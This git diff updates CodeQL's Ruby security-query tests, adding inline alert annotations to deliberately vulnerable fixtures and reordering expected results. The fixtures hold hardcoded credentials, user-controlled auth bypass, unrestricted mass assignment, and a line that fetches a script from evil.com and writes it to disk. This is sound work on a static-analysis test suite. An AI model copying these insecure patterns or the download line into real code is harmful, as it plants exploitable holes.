HardcodedCredentials.rb:43:46:43:53 | password | used as credentials | edges | HardcodedCredentials.rb:12:19:12:64 | "4NQX/CqB5Ae98zFUmwj1DMpF7azsh..." : String | HardcodedCredentials.rb:1:23:1:30 | password | provenance | | | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." : String | HardcodedCredentials.rb:1:33:1:36 | cert | provenance | | @@ -41,15 +53,3 @@ nodes | HardcodedCredentials.rb:43:46:43:53 | password | semmle.label | password | | HardcodedCredentials.rb:43:57:43:70 | "abcdef123456" : String | semmle.label | "abcdef123456" : String | subpaths -#select -| HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | This hardcoded value is $@. | HardcodedCredentials.rb:4:20:4:65 | "xwjVWdfzfRlbcgKkbSfG/xSrUeHYq..." | used as credentials | -| HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | This hardcoded value is $@. | HardcodedCredentials.rb:8:30:8:75 | "X6BLgRWSAtAWG/GaHS+WGGW2K7zZF..." | used as credentials | -| HardcodedCredentials.rb:12:19:12:64 | "4NQX/CqB5Ae98zFUmwj1DMpF7azsh..." | HardcodedCredentials.rb:12:19:12:64 | "4NQX/CqB5Ae98zFUmwj1DMpF7azsh..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | -| HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | This hardcoded value is $@. | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | used as credentials | -| HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." | HardcodedCredentials.rb:15:30:15:75 | "WLC17dLQ9P8YlQvqm77qplOMm5pd1..." : String | HardcodedCredentials.rb:1:33:1:36 | cert | This hardcoded value is $@. | HardcodedCredentials.rb:1:33:1:36 | cert | used as credentials | -| HardcodedCredentials.rb:18:27:18:72 | "ogH6qSYWGdbR/2WOGYa7eZ/tObL+G..." | HardcodedCredentials.rb:18:27:18:72 | "ogH6qSYWGdbR/2WOGYa7eZ/tObL+G..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | -| HardcodedCredentials.rb:20:11:20:76 | "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+..." | HardcodedCredentials.rb:20:11:20:76 | "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+..." : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | -| HardcodedCredentials.rb:21:12:21:37 | "4fQuzXef4f2yow8KWvIJTA==" | HardcodedCredentials.rb:21:12:21:37 | "4fQuzXef4f2yow8KWvIJTA==" : String | HardcodedCredentials.rb:1:23:1:30 | password | This hardcoded value is $@. | HardcodedCredentials.rb:1:23:1:30 | password | used as credentials | -| HardcodedCredentials.rb:38:40:38:85 | "kdW/xVhiv6y1fQQNevDpUaq+2rfPK..." | HardcodedCredentials.rb:38:40:38:85 | "kdW/xVhiv6y1fQQNevDpUaq+2rfPK..." : String | HardcodedCredentials.rb:31:18:31:23 | passwd | This hardcoded value is $@. | HardcodedCredentials.rb:31:18:31:23 | passwd | used as credentials | -| HardcodedCredentials.rb:43:29:43:43 | "user@test.com" | HardcodedCredentials.rb:43:29:43:43 | "user@test.com" : String | HardcodedCredentials.rb:43:18:43:25 | username | This hardcoded value is $@. | HardcodedCredentials.rb:43:18:43:25 | username | used as credentials | -| HardcodedCredentials.rb:43:57:43:70 | "abcdef123456" | HardcodedCredentials.rb:43:57:43:70 | "abcdef123456" : String | HardcodedCredentials.rb:43:46:43:53 | password | This hardcoded value is $@. | HardcodedCredentials.rb:43:46:43:53 | password | used as credentials | diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref index e65b7754872..81afcc528c8 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref @@ -1 +1,2 @@ -queries/security/cwe-798/HardcodedCredentials.ql +query: queries/security/cwe-798/HardcodedCredentials.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb index 57f05a25fdf..c405ceb630f 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb @@ -1,24 +1,24 @@ -def authenticate(uid, password, cert: nil) +def authenticate(uid, password, cert: nil) # $ Sink if cert != nil then # comparison with hardcoded credential - return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" + return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" # $ Alert end # comparison with hardcoded credential - uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" + uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" # $ Alert end # call with hardcoded credential as argument -authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") +authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") # $ Alert # call with hardcoded credential as argument -authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") +authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") # $ Alert # concatenation involving literal -authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") +authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") # $ Alert -pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" -pw_right = "4fQuzXef4f2yow8KWvIJTA==" +pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" # $ Alert +pw_right = "4fQuzXef4f2yow8KWvIJTA==" # $ Alert pw = pw_left + pw_right authenticate(999, pw) @@ -28,18 +28,18 @@ authenticate("gowLsSGfPbh/ZS60k+LQQBhcq1tsh/YgbvNmDauQr5Q=", passwd) module Passwords class KnownPasswords - def include?(passwd) + def include?(passwd) # $ Sink passwd == "foo" end end end # Call to object method -Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") +Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") # $ Alert # Call to unrelated method with same name (should not be flagged) "foobar".include?("foo") -def default_cred(username = "user@test.com", password = "abcdef123456") +def default_cred(username = "user@test.com", password = "abcdef123456") # $ Alert username end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.expected b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.expected index 897e8276049..fb60e723939 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.expected +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.expected @@ -1,3 +1,7 @@ +#select +| ConditionalBypass.rb:6:8:6:12 | check | ConditionalBypass.rb:3:13:3:18 | call to params | ConditionalBypass.rb:6:8:6:12 | check | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:8:7:8:29 | call to authenticate_user! | action | ConditionalBypass.rb:3:13:3:18 | call to params | user-provided value | +| ConditionalBypass.rb:14:14:14:27 | ...[...] | ConditionalBypass.rb:14:14:14:19 | call to params | ConditionalBypass.rb:14:14:14:27 | ...[...] | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:14:5:14:9 | call to login | action | ConditionalBypass.rb:14:14:14:19 | call to params | user-provided value | +| ConditionalBypass.rb:27:8:27:8 | p | ConditionalBypass.rb:25:10:25:15 | call to params | ConditionalBypass.rb:27:8:27:8 | p | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:28:7:28:13 | call to verify! | action | ConditionalBypass.rb:25:10:25:15 | call to params | user-provided value | edges | ConditionalBypass.rb:3:5:3:9 | check | ConditionalBypass.rb:6:8:6:12 | check | provenance | | | ConditionalBypass.rb:3:13:3:18 | call to params | ConditionalBypass.rb:3:13:3:26 | ...[...] | provenance | | @@ -20,7 +24,3 @@ nodes | ConditionalBypass.rb:25:10:25:22 | ...[...] | semmle.label | ...[...] | | ConditionalBypass.rb:27:8:27:8 | p | semmle.label | p | subpaths -#select -| ConditionalBypass.rb:6:8:6:12 | check | ConditionalBypass.rb:3:13:3:18 | call to params | ConditionalBypass.rb:6:8:6:12 | check | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:8:7:8:29 | call to authenticate_user! | action | ConditionalBypass.rb:3:13:3:18 | call to params | user-provided value | -| ConditionalBypass.rb:14:14:14:27 | ...[...] | ConditionalBypass.rb:14:14:14:19 | call to params | ConditionalBypass.rb:14:14:14:27 | ...[...] | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:14:5:14:9 | call to login | action | ConditionalBypass.rb:14:14:14:19 | call to params | user-provided value | -| ConditionalBypass.rb:27:8:27:8 | p | ConditionalBypass.rb:25:10:25:15 | call to params | ConditionalBypass.rb:27:8:27:8 | p | This condition guards a sensitive $@, but a $@ controls it. | ConditionalBypass.rb:28:7:28:13 | call to verify! | action | ConditionalBypass.rb:25:10:25:15 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref index 9639e207d1e..5b8e3bc44f1 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref @@ -1 +1,2 @@ -experimental/cwe-807/ConditionalBypass.ql \ No newline at end of file +query: experimental/cwe-807/ConditionalBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb index 1bd45f15043..1a6dd87ab79 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb @@ -1,9 +1,9 @@ class FooController < ActionController::Base def bad_handler1 - check = params[:check] + check = params[:check] # $ Source name = params[:name] - if check + if check # $ Alert # BAD authenticate_user! name end @@ -11,7 +11,7 @@ class FooController < ActionController::Base def bad_handler2 # BAD - login if params[:login] + login if params[:login] # $ Alert do_something_else end @@ -22,9 +22,9 @@ class FooController < ActionController::Base end def bad_handler4 - p = (params[:name] == "foo") + p = (params[:name] == "foo") # $ Source # BAD - if p + if p # $ Alert verify! end end diff --git a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.expected b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.expected index 792b17303b1..11975de723a 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.expected +++ b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.expected @@ -1,3 +1,6 @@ +#select +| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body | http_to_file_access.rb:5:12:5:15 | resp | Write to file system depends on $@. | http_to_file_access.rb:3:8:3:52 | call to body | untrusted data | +| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params | http_to_file_access.rb:11:18:11:23 | script | Write to file system depends on $@. | http_to_file_access.rb:9:16:9:21 | call to params | untrusted data | edges | http_to_file_access.rb:3:1:3:4 | resp | http_to_file_access.rb:5:12:5:15 | resp | provenance | | | http_to_file_access.rb:3:8:3:52 | call to body | http_to_file_access.rb:3:1:3:4 | resp | provenance | | @@ -13,6 +16,3 @@ nodes | http_to_file_access.rb:9:16:9:30 | ...[...] | semmle.label | ...[...] | | http_to_file_access.rb:11:18:11:23 | script | semmle.label | script | subpaths -#select -| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body | http_to_file_access.rb:5:12:5:15 | resp | Write to file system depends on $@. | http_to_file_access.rb:3:8:3:52 | call to body | untrusted data | -| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params | http_to_file_access.rb:11:18:11:23 | script | Write to file system depends on $@. | http_to_file_access.rb:9:16:9:21 | call to params | untrusted data | diff --git a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref index 2b41f979bb5..06312044c51 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref +++ b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref @@ -1 +1,2 @@ -queries/security/cwe-912/HttpToFileAccess.ql \ No newline at end of file +query: queries/security/cwe-912/HttpToFileAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb index aa8ce4c46ff..e9783c06376 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb +++ b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb @@ -1,14 +1,14 @@ require "net/http" -resp = Net::HTTP.new("evil.com").get("/script").body +resp = Net::HTTP.new("evil.com").get("/script").body # $ Source file = File.open("/tmp/script", "w") -file.write(resp) # BAD +file.write(resp) # BAD # $ Alert class ExampleController < ActionController::Base def example - script = params[:script] + script = params[:script] # $ Source file = File.open("/tmp/script", "w") - file.write(script) # BAD + file.write(script) # BAD # $ Alert end def example2 diff --git a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.expected b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.expected index 3b23376ac8d..f859557ffde 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.expected +++ b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.expected @@ -1,3 +1,25 @@ +#select +| test.rb:8:18:8:28 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:8:18:8:28 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:18:20:18:30 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:18:20:18:30 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:19:21:19:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:19:21:19:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:20:22:20:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:20:22:20:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:21:21:21:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:21:21:21:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:22:22:22:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:22:22:22:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:25:21:25:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:25:21:25:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:26:24:26:34 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:26:24:26:34 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:27:22:27:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:27:22:27:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:28:25:28:35 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:28:25:28:35 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:29:21:29:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:29:21:29:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:31:32:31:42 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:31:32:31:42 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:32:33:32:43 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:32:33:32:43 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:33:36:33:46 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:33:36:33:46 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:34:32:34:42 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:34:32:34:42 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:35:33:35:43 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:35:33:35:43 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:36:26:36:36 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:36:26:36:36 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | +| test.rb:49:18:49:18 | x | test.rb:47:13:47:18 | call to params | test.rb:49:18:49:18 | x | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:47:13:47:18 | call to params | this remote flow source | +| test.rb:51:18:51:40 | call to permit | test.rb:51:18:51:23 | call to params | test.rb:51:18:51:40 | call to permit | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:51:18:51:23 | call to params | this remote flow source | +| test.rb:52:18:52:69 | call to permit | test.rb:52:18:52:23 | call to params | test.rb:52:18:52:69 | call to permit | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:52:18:52:23 | call to params | this remote flow source | +| test.rb:53:18:53:35 | call to to_unsafe_h | test.rb:53:18:53:23 | call to params | test.rb:53:18:53:35 | call to to_unsafe_h | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:53:18:53:23 | call to params | this remote flow source | edges | test.rb:43:9:43:14 | call to params | test.rb:43:9:43:29 | call to require | provenance | | | test.rb:43:9:43:29 | call to require | test.rb:43:9:43:37 | call to permit! | provenance | Config | @@ -60,25 +82,3 @@ nodes | test.rb:53:18:53:23 | call to params | semmle.label | call to params | | test.rb:53:18:53:35 | call to to_unsafe_h | semmle.label | call to to_unsafe_h | subpaths -#select -| test.rb:8:18:8:28 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:8:18:8:28 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:18:20:18:30 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:18:20:18:30 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:19:21:19:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:19:21:19:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:20:22:20:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:20:22:20:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:21:21:21:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:21:21:21:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:22:22:22:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:22:22:22:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:25:21:25:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:25:21:25:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:26:24:26:34 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:26:24:26:34 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:27:22:27:32 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:27:22:27:32 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:28:25:28:35 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:28:25:28:35 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:29:21:29:31 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:29:21:29:31 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:31:32:31:42 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:31:32:31:42 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:32:33:32:43 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:32:33:32:43 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:33:36:33:46 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:33:36:33:46 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:34:32:34:42 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:34:32:34:42 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:35:33:35:43 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:35:33:35:43 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:36:26:36:36 | call to user_params | test.rb:43:9:43:14 | call to params | test.rb:36:26:36:36 | call to user_params | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:43:9:43:14 | call to params | this remote flow source | -| test.rb:49:18:49:18 | x | test.rb:47:13:47:18 | call to params | test.rb:49:18:49:18 | x | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:47:13:47:18 | call to params | this remote flow source | -| test.rb:51:18:51:40 | call to permit | test.rb:51:18:51:23 | call to params | test.rb:51:18:51:40 | call to permit | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:51:18:51:23 | call to params | this remote flow source | -| test.rb:52:18:52:69 | call to permit | test.rb:52:18:52:23 | call to params | test.rb:52:18:52:69 | call to permit | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:52:18:52:23 | call to params | this remote flow source | -| test.rb:53:18:53:35 | call to to_unsafe_h | test.rb:53:18:53:23 | call to params | test.rb:53:18:53:35 | call to to_unsafe_h | This mass assignment operation can assign user-controlled attributes from $@. | test.rb:53:18:53:23 | call to params | this remote flow source | diff --git a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref index 89dbc405a3a..d60d17065b7 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref +++ b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref @@ -1 +1,2 @@ -queries/security/cwe-915/MassAssignment.ql \ No newline at end of file +query: queries/security/cwe-915/MassAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-915/test.rb b/ruby/ql/test/query-tests/security/cwe-915/test.rb index c72ad536ef7..6af19ca39d4 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-915/test.rb @@ -5,7 +5,7 @@ end class UserController < ActionController::Base def create # BAD: arbitrary params are permitted to be used for this assignment - User.new(user_params).save! + User.new(user_params).save! # $ Alert end def create2 @@ -15,42 +15,42 @@ class UserController < ActionController::Base def create3 # each BAD - User.build(user_params) - User.create(user_params) - User.create!(user_params) - User.insert(user_params) - User.insert!(user_params) + User.build(user_params) # $ Alert + User.create(user_params) # $ Alert + User.create!(user_params) # $ Alert + User.insert(user_params) # $ Alert + User.insert!(user_params) # $ Alert User.insert_all([user_params]) User.insert_all!([user_params]) - User.update(user_params) - User.update(7, user_params) - User.update!(user_params) - User.update!(7, user_params) - User.upsert(user_params) + User.update(user_params) # $ Alert + User.update(7, user_params) # $ Alert + User.update!(user_params) # $ Alert + User.update!(7, user_params) # $ Alert + User.upsert(user_params) # $ Alert User.upsert([user_params]) - User.find_or_create_by(user_params) - User.find_or_create_by!(user_params) - User.find_or_initialize_by(user_params) - User.create_or_find_by(user_params) - User.create_or_find_by!(user_params) - User.create_with(user_params) + User.find_or_create_by(user_params) # $ Alert + User.find_or_create_by!(user_params) # $ Alert + User.find_or_initialize_by(user_params) # $ Alert + User.create_or_find_by(user_params) # $ Alert + User.create_or_find_by!(user_params) # $ Alert + User.create_with(user_params) # $ Alert user = User.where(name:"abc") user.update(user_params) end def user_params - params.require(:user).permit! + params.require(:user).permit! # $ Source end def create4 - x = params[:user] + x = params[:user] # $ Source x.permit! - User.new(x) # BAD + User.new(x) # BAD # $ Alert User.new(x.permit(:name,:address)) # GOOD - User.new(params.permit(user: {})) # BAD - User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD - User.new(params.to_unsafe_h) # BAD + User.new(params.permit(user: {})) # BAD # $ Alert + User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD # $ Alert + User.new(params.to_unsafe_h) # BAD # $ Alert User.new(params.permit(user: [:name, :address]).to_unsafe_h) # GOOD end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.expected b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.expected index c97ff12fc3d..26740b5e3f2 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.expected +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.expected @@ -1,3 +1,7 @@ +#select +| ServerSideRequestForgery.rb:11:31:11:62 | "#{...}/logins" | ServerSideRequestForgery.rb:10:32:10:37 | call to params | ServerSideRequestForgery.rb:11:31:11:62 | "#{...}/logins" | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:10:32:10:37 | call to params | user-provided value | +| ServerSideRequestForgery.rb:15:33:15:44 | ...[...] | ServerSideRequestForgery.rb:15:33:15:38 | call to params | ServerSideRequestForgery.rb:15:33:15:44 | ...[...] | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:15:33:15:38 | call to params | user-provided value | +| ServerSideRequestForgery.rb:20:45:20:56 | ...[...] | ServerSideRequestForgery.rb:20:45:20:50 | call to params | ServerSideRequestForgery.rb:20:45:20:56 | ...[...] | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:20:45:20:50 | call to params | user-provided value | edges | ServerSideRequestForgery.rb:10:9:10:28 | users_service_domain | ServerSideRequestForgery.rb:11:31:11:62 | "#{...}/logins" | provenance | AdditionalTaintStep | | ServerSideRequestForgery.rb:10:32:10:37 | call to params | ServerSideRequestForgery.rb:10:32:10:60 | ...[...] | provenance | | @@ -14,7 +18,3 @@ nodes | ServerSideRequestForgery.rb:20:45:20:50 | call to params | semmle.label | call to params | | ServerSideRequestForgery.rb:20:45:20:56 | ...[...] | semmle.label | ...[...] | subpaths -#select -| ServerSideRequestForgery.rb:11:31:11:62 | "#{...}/logins" | 